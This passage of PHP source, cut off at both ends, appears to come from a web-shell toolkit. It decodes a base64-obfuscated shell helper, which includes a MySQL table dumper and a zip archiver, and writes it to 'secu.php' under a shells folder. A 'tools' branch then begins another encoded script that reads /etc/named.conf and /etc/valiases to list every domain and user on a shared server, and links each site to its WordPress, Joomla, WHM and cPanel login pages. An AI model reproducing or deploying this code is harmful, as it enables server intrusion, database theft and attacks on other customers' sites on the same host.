mJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsNCgkJCQlpZiAoaXNfd3JpdGFibGUoJGYpKSB7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGYpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlybGluayddPXVlKCRkaXIpOw0KCQkJCQkkZGlyZGF0YVskal1bJ3NlcnZlcl9saW5rJ109JGY7DQoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7DQoJCQkJCSRqKys7DQoJCQkJfQ0KCQkJCUdldExpc3QoJGYpOw0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKCRkaCk7DQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCXJldHVybiAkZGlyZGF0YTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gYXJyYXkoKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIHF5KCRzcWwpIHsNCgkvL2VjaG8gJHNxbC4nPGJyPic7DQoJJHJlcyA9ICRlcnJvciA9ICcnOw0KCWlmKCEkcmVzID0gQG15c3FsX3F1ZXJ5KCRzcWwpKSB7DQoJCXJldHVybiAwOw0KCX0gZWxzZSBpZihpc19yZXNvdXJjZSgkcmVzKSkgew0KCQlyZXR1cm4gMTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gMjsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIHEoJHNxbCkgew0KCXJldHVybiBAbXlzcWxfcXVlcnkoJHNxbCk7DQp9DQoNCmZ1bmN0aW9uIGZyKCRxeSl7DQoJbXlzcWxfZnJlZV9yZXN1bHQoJHF5KTsNCn0NCg0KZnVuY3Rpb24gc2l6ZWNvdW50KCRzaXplKSB7DQoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICcgRyc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDQ4NTc2KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDI0KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgSyc7DQoJfSBlbHNlIHsNCgkJJHNpemUgPSAkc2l6ZSAuICcgQic7DQoJfQ0KCXJldHVybiAkc2l6ZTsNCn0NCg0KLy8gWmlwDQpjbGFzcyBQSFBaaXB7DQoJdmFyICRvdXQ9Jyc7DQoJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsNCgkJaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkJew0KCQkJJGN1cmRpciA9IGdldGN3ZCgpOw0KCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOw0KCQkJZWxzZXsNCgkJCQkkZmlsZWxpc3Q9JHRoaXMgLT4gR2V0RmlsZUxpc3QoJGRpcik7Ly9GaWxlIGxpc3QNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7DQoJCQl9DQoJCQlpZiAoKCFlbXB0eSgkZGlyKSkmJighaXNfYXJyYXkoJGRpcikpJiYoZmlsZV9leGlzdHMoJGRpcikpKSBjaGRpcigkZGlyKTsNCgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7DQoJCQlpZiAoY291bnQoJGZpbGVsaXN0KT4wKXsNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkZmlsZW5hbWUpew0KCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCgkJCQkJCSRmZCA9IGZvcGVuICgkZmlsZW5hbWUsICdyJyk7DQoJCQkJCQkkY29udGVudCA9IEBmcmVhZCAoJGZkLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsNCgkJCQkJCWZjbG9zZSAoJGZkKTsNCgkJCQkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lKTsNCgkJCQkJCSR0aGlzIC0+IGFkZEZpbGUoJGNvbnRlbnQsICRmaWxlbmFtZSk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJJHRoaXMtPm91dCA9ICR0aGlzIC0+IGZpbGUoKTsNCgkJCQljaGRpcigkY3VyZGlyKTsNCgkJCX0NCgkJCXJldHVybiAxOw0KCQl9DQoJCWVsc2UgcmV0dXJuIDA7DQoJfQ0KDQoJLy8gU2hvdyBmaWxlIGxpc3QNCglmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsNCgkJc3RhdGljICRhOw0KCQlpZiAoaXNfZGlyKCRkaXIpKSB7DQoJCQlpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgew0KCQkJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQkJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nKXsNCgkJCQkJCSRmPSRkaXIgLicvJy4gJGZpbGU7DQoJCQkJCQlpZihpc19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOw0KCQkJCQkJJGFbXT0kZjsNCgkJCQkJfQ0KCQkJCX0NCgkJCQljbG9zZWRpcigkZGgpOw0KCQkJfQ0KCQl9DQoJCXJldHVybiAkYTsNCgl9DQoNCgl2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQoJdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCgl2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQoNCglmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgew0KCQkkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsNCgkJaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQoJCQkkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOw0KCQkJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCgkJCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQoJCQkkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KCQkJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCgkJfSAvLyBlbmQgaWYNCgkJcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwNCgkJCQkoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCgl9DQoNCglmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7DQoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQoNCgkJJGR0aW1lID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCgkJJGhleGR0aW1lCT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQ0KCQkJCQkuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0NCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQoJCQkJCS4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsNCgkJZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsNCgkJJGZyCT0gIlx4NTBceDRiXHgwM1x4MDQiOw0KCQkkZnIJLj0gIlx4MTRceDAwIjsNCgkJJGZyCS49ICJceDAwXHgwMCI7DQoJCSRmcgkuPSAiXHgwOFx4MDAiOw0KCQkkZnIJLj0gJGhleGR0aW1lOw0KDQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsNCgkJJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOw0KCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCSRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQoJCSRmciAuPSBwYWNrKCd2JywgMCk7DQoJCSRmciAuPSAkbmFtZTsNCgkJJGZyIC49ICR6ZGF0YTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCQkkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQoJCSRuZXdfb2Zmc2V0ID0gc3RybGVuKGltcGxvZGUoJycsICR0aGlzLT5kYXRhc2VjKSk7DQoNCgkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KCQkkY2RyZWMgLj0gIlx4MDBceDAwIjsNCgkJJGNkcmVjIC49ICJceDE0XHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MDhceDAwIjsNCgkJJGNkcmVjIC49ICRoZXhkdGltZTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KCQkkdGhpcyAtPiBvbGRfb2Zmc2V0ID0gJG5ld19vZmZzZXQ7DQoJCSRjZHJlYyAuPSAkbmFtZTsNCg0KCQkkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KCX0NCg0KCWZ1bmN0aW9uIGZpbGUoKSB7DQoJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOw0KCQlyZXR1cm4gJGRhdGEgLiAkY3RybGRpciAuICR0aGlzIC0+IGVvZl9jdHJsX2RpciAuIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuCXBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKSAuIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKSAuICJceDAwXHgwMCI7DQoJfQ0KfQ0KDQovLyBEdW1wIG15c3FsDQpmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgew0KCSR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgJHRhYmxlO1xuIjsNCgkkdGFibGVkdW1wIC49ICJDUkVBVEUgVEFCTEUgJHRhYmxlIChcbiI7DQoNCgkkZmlyc3RmaWVsZD0xOw0KDQoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7DQoJd2hpbGUgKCRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCRmaWVsZHMpKSB7DQoJCWlmICghJGZpcnN0ZmllbGQpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoJCX0gZWxzZSB7DQoJCQkkZmlyc3RmaWVsZD0wOw0KCQl9DQoJCSR0YWJsZWR1bXAgLj0gIiAgICRmaWVsZFtGaWVsZF0gJGZpZWxkW1R5cGVdIjsNCgkJaWYgKCFlbXB0eSgkZmllbGRbIkRlZmF1bHQiXSkpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsNCgkJfQ0KCQlpZiAoJGZpZWxkWydOdWxsJ10gIT0gIllFUyIpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7DQoJCX0NCgkJaWYgKCRmaWVsZFsnRXh0cmEnXSAhPSAiIikgew0KCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOw0KCQl9DQoJfQ0KCWZyKCRmaWVsZHMpOw0KDQoJJGtleXMgPSBxKCJTSE9XIEtFWVMgRlJPTSAkdGFibGUiKTsNCgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgew0KCQkka25hbWU9JGtleVsnS2V5X25hbWUnXTsNCgkJaWYgKCRrbmFtZSAhPSAiUFJJTUFSWSIgJiYgJGtleVsnTm9uX3VuaXF1ZSddID09IDApIHsNCgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7DQoJCX0NCgkJaWYoIWlzX2FycmF5KCRpbmRleFska25hbWVdKSkgew0KCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOw0KCQl9DQoJCSRpbmRleFska25hbWVdW10gPSAka2V5WydDb2x1bW5fbmFtZSddOw0KCX0NCglmcigka2V5cyk7DQoNCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgew0KCQkkdGFibGVkdW1wIC49ICIsXG4iOw0KCQkkY29sbmFtZXM9aW1wbG9kZSgkY29sdW1ucywiLCIpOw0KDQoJCWlmICgka25hbWUgPT0gIlBSSU1BUlkiKSB7DQoJCQkkdGFibGVkdW1wIC49ICIgICBQUklNQVJZIEtFWSAoJGNvbG5hbWVzKSI7DQoJCX0gZWxzZSB7DQoJCQlpZiAoc3Vic3RyKCRrbmFtZSwwLDYpID09ICJVTklRVUUiKSB7DQoJCQkJJGtuYW1lPXN1YnN0cigka25hbWUsNyk7DQoJCQl9DQoJCQkkdGFibGVkdW1wIC49ICIgICBLRVkgJGtuYW1lICgkY29sbmFtZXMpIjsNCgkJfQ0KCX0NCg0KCSR0YWJsZWR1bXAgLj0gIlxuKTtcblxuIjsNCglpZiAoJGZwKSB7DQoJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJfSBlbHNlIHsNCgkJZWNobyAkdGFibGVkdW1wOw0KCX0NCg0KCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsNCgkkbnVtZmllbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cykpIHsNCgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCgkJJGZpZWxkY291bnRlcj0tMTsNCgkJJGZpcnN0ZmllbGQ9MTsNCgkJd2hpbGUgKCsrJGZpZWxkY291bnRlcjwkbnVtZmllbGRzKSB7DQoJCQlpZiAoISRmaXJzdGZpZWxkKSB7DQoJCQkJJHRhYmxlZHVtcC49IiwgIjsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpcnN0ZmllbGQ9MDsNCgkJCX0NCg0KCQkJaWYgKCFpc3NldCgkcm93WyRmaWVsZGNvdW50ZXJdKSkgew0KCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOw0KCQkJfSBlbHNlIHsNCgkJCQkkdGFibGVkdW1wIC49ICInIi5teXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbJGZpZWxkY291bnRlcl0pLiInIjsNCgkJCX0NCgkJfQ0KDQoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOw0KDQoJCWlmICgkZnApIHsNCgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJCX0gZWxzZSB7DQoJCQllY2hvICR0YWJsZWR1bXA7DQoJCX0NCgl9DQoJZnIoJHJvd3MpOw0KCWlmICgkZnApIHsNCgkJZndyaXRlKCRmcCwiXG4iKTsNCgl9IGVsc2Ugew0KCQllY2hvICJcbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiB1ZSgkc3RyKXsNCglyZXR1cm4gdXJsZW5jb2RlKCRzdHIpOw0KfQ0KDQpmdW5jdGlvbiBwKCRzdHIpew0KCWVjaG8gJHN0ci4iXG4iOw0KfQ0KDQpmdW5jdGlvbiB0YmhlYWQoKSB7DQoJcCgnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSI0IiBjZWxsc3BhY2luZz0iMCI+Jyk7DQp9DQpmdW5jdGlvbiB0YmZvb3QoKXsNCglwKCc8L3RhYmxlPicpOw0KfQ0KDQpmdW5jdGlvbiBtYWtlaGlkZSgkbmFtZSwkdmFsdWU9Jycpew0KCXAoIjxpbnB1dCBpZD1cIiRuYW1lXCIgdHlwZT1cImhpZGRlblwiIG5hbWU9XCIkbmFtZVwiIHZhbHVlPVwiJHZhbHVlXCIgLz4iKTsNCn0NCg0KZnVuY3Rpb24gbWFrZWlucHV0KCRhcmcgPSBhcnJheSgpKXsNCgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7DQoJJGFyZ1snZXh0cmEnXSA9ICRhcmdbJ2V4dHJhJ10gPyAkYXJnWydleHRyYSddIDogJyc7DQoJISRhcmdbJ3R5cGUnXSAmJiAkYXJnWyd0eXBlJ10gPSAndGV4dCc7DQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7DQoJJGFyZ1snY2xhc3MnXSA9ICRhcmdbJ2NsYXNzJ10gPyAkYXJnWydjbGFzcyddIDogJ2lucHV0JzsNCglpZiAoJGFyZ1snbmV3bGluZSddKSB7DQoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7DQoJfSBlbHNlIHsNCgkJcCgiJGFyZ1t0aXRsZV08aW5wdXQgY2xhc3M9XCIkYXJnW2NsYXNzXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgdmFsdWU9XCIkYXJnW3ZhbHVlXVwiIHR5cGU9XCIkYXJnW3R5cGVdXCIgJGFyZ1tzaXplXSAkYXJnW2V4dHJhXSAvPiIpOw0KCX0NCn0NCg0KZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7DQoJaWYgKCRhcmdbJ29uY2hhbmdlJ10pIHsNCgkJJG9uY2hhbmdlID0gJ29uY2hhbmdlPSInLiRhcmdbJ29uY2hhbmdlJ10uJyInOw0KCX0NCgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10gOiAnJzsNCglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8cD4nKTsNCglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsNCgkJaWYgKGlzX2FycmF5KCRhcmdbJ29wdGlvbiddKSkgew0KCQkJZm9yZWFjaCAoJGFyZ1snb3B0aW9uJ10gYXMgJGtleT0+JHZhbHVlKSB7DQoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsNCgkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4kdmFsdWU8L29wdGlvbj4iKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCXAoIjwvc2VsZWN0PiIpOw0KCWlmICgkYXJnWyduZXdsaW5lJ10pIHAoJzwvcD4nKTsNCn0NCmZ1bmN0aW9uIGZvcm1oZWFkKCRhcmcgPSBhcnJheSgpKSB7DQoJISRhcmdbJ21ldGhvZCddICYmICRhcmdbJ21ldGhvZCddID0gJ3Bvc3QnOw0KCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOw0KCSRhcmdbJ3RhcmdldCddID0gJGFyZ1sndGFyZ2V0J10gPyAidGFyZ2V0PVwiJGFyZ1t0YXJnZXRdXCIiIDogJyc7DQoJISRhcmdbJ25hbWUnXSAmJiAkYXJnWyduYW1lJ10gPSAnZm9ybTEnOw0KCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOw0KCWlmICgkYXJnWyd0aXRsZSddKSB7DQoJCXAoJzxoMj4nLiRhcmdbJ3RpdGxlJ10uJyAmcmFxdW87PC9oMj4nKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIG1ha2V0ZXh0KCRhcmcgPSBhcnJheSgpKXsNCgkhJGFyZ1snY29scyddICYmICRhcmdbJ2NvbHMnXSA9IDEwMDsNCgkhJGFyZ1sncm93cyddICYmICRhcmdbJ3Jvd3MnXSA9IDI1Ow0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOw0KCXAoIjxwPiRhcmdbdGl0bGVdPHRleHRhcmVhIGNsYXNzPVwiYXJlYVwiIGlkPVwiJGFyZ1tuYW1lXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgY29scz1cIiRhcmdbY29sc11cIiByb3dzPVwiJGFyZ1tyb3dzXVwiICRhcmdbZXh0cmFdPiRhcmdbdmFsdWVdPC90ZXh0YXJlYT48L3A+Iik7DQp9DQoNCmZ1bmN0aW9uIGZvcm1mb290ZXIoJG5hbWUgPSAnJyl7DQoJISRuYW1lICYmICRuYW1lID0gJ3N1Ym1pdCc7DQoJcCgnPHA+PGlucHV0IGNsYXNzPSJidCIgbmFtZT0iJy4kbmFtZS4nIiBpZD1cIicuJG5hbWUuJ1wiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCI+PC9wPicpOw0KCXAoJzwvZm9ybT4nKTsNCn0NCg0KZnVuY3Rpb24gZm9ybWZvb3QoKXsNCglwKCc8L2Zvcm0+Jyk7DQp9DQoNCi8vIEV4aXQNCmZ1bmN0aW9uIHByKCRhKSB7DQoJZWNobyAnPHByZT4nOw0KCXByaW50X3IoJGEpOw0KCWVjaG8gJzwvcHJlPic7DQp9DQoNCiA/Pg0K';
file_put_contents('secu.php',base64_decode($secu));;
echo "<a href='./shells/secu.php'>Here secu.php</a><br>";
# Tool
}elseif($_POST[tool]=='tools'){
$tools = 'tools';
mkdir('tools');
chdir('tools');
$domains = 'IDxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+WyBMb2NhbCBET01BSU46VVNFUiBTaG93IF08L3RpdGxlPg0KPHN0eWxlPip7IGZvbnQtZmFtaWx5OnRhaG9tYTsgZm9udC1zaXplOjEyOyB9IA0KdGQsdHJ7IHRleHQtYWxpZ246Y2VudGVyO30NCnRyOmhvdmVyIHsgYmFja2dyb3VuZC1jb2xvcjojNkNGO30NCkE6bGluayB7IGNvbG9yOiMwMDA7fQ0KPC9zdHlsZT4NCjwvaGVhZD4NCg0KPGJvZHk+DQo8Y2VudGVyPg0KPHA+WyBMb2NhbCBET01BSU46VVNFUiBTaG93IF08L3A+DQo8cD5bIDxhIGhyZWY9Jz9TaG93QWxsJz5TaG93IEFsbDwvYT4gXSAtIFsgPGEgaHJlZj0nP1VzZXJEb21haW5zJz5Vc2VyIERvbWFpbnM8L2E+IF0gLSBbIDxhIGhyZWY9Jz9Eb21haW5Vc2VyJz5Eb21haW4gVXNlcjwvYT4gXTwvcD4NCjw/DQoNCiRmaWxlID0gQGltcGxvZGUoQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpKTsNCg0KaWYoISRmaWxlKXsgZGllKCIjIGNhbid0IFJlYUQgLT4gWyAvZXRjL25hbWVkLmNvbmYgXSIpOyB9DQoNCnByZWdfbWF0Y2hfYWxsKCIjbmFtZWQvKC4qPykuZGIjIiwkZmlsZSAsJHIpOw0KDQokZG9tYWlucyA9IGFycmF5X3VuaXF1ZSgkclsxXSk7DQoNCmNoZWNrKCk7DQoNCmlmKGlzc2V0KCRfR0VUWydTaG93QWxsJ10pKXsNCg0KZWNobyAiPHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MSB3aWR0aD01OSUgY2VsbHBhZGRpbmc9NT4NCjx0cj48dGQgY29sc3Bhbj0zPlsrXSBUaGVyZSBhcmUgOiBbIDxiPiIuY291bnQoJGRvbWFpbnMpLiI8L2I+IF0gRG9tYWluPC90ZD48L3RyPg0KPHRyPjx0ZD5Eb21haW48L3RkPjx0ZD5Mb2dpbjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsNCg0KZm9yZWFjaCgkZG9tYWlucyBhcyAkZG9tYWluKXsNCg0KJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOw0KDQplY2hvICI8dHI+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW4uIi8+Ii4kZG9tYWluLiI8L2E+PC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbi4iL3dwLWxvZ2luLnBocD5Xb3JkcHJlc3M8L2E+IC8gPGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbi4iL2FkbWluaXN0cmF0b3IvPkpvb21sYTwvYT4gLyA8YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tYWluLiI6MjA4Ni8+V0hNPC9hPiAvIDxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW4uIjoyMDgyPmNQYW5lbDwvYT48L3RkPjwvdHI+IjsNCg0KfQ0KDQplY2hvICI8L3RhYmxlPiI7DQoNCn0NCg0KaWYoaXNzZXQoJF9HRVRbJ1VzZXJEb21haW5zJ10pKXsNCg0KZWNobyAiDQo8Zm9ybSBhY3Rpb249Jz9Vc2VyRG9tYWlucycgbWV0aG9kPSdHRVQnPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9VXNlckRvbWFpbnMgdmFsdWU9MT4NClVzZXIgOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXNlciB2YWx1ZT0kX0dFVFt1c2VyXT4gLSA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9U2hvdz4NCjwvZm9ybT4NCiI7DQoNCmlmKGlzc2V0KCRfR0VUWyd1c2VyJ10pKXsNCmVjaG8gIjx0YWJsZSBib3JkZXI9MSB3aWR0aD0zMCUgY2VsbHBhZGRpbmc9NT4NCjx0cj48dGQ+PGI+RG9tYWluczx0ZD5Mb2dpbjwvdGQ+PC9iPjwvdGQ+PC90cj4iOw0KZm9yZWFjaCgkZG9tYWlucyBhcyAkbj0+JGRvbWFpbil7DQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKSk7DQplY2hvICgkX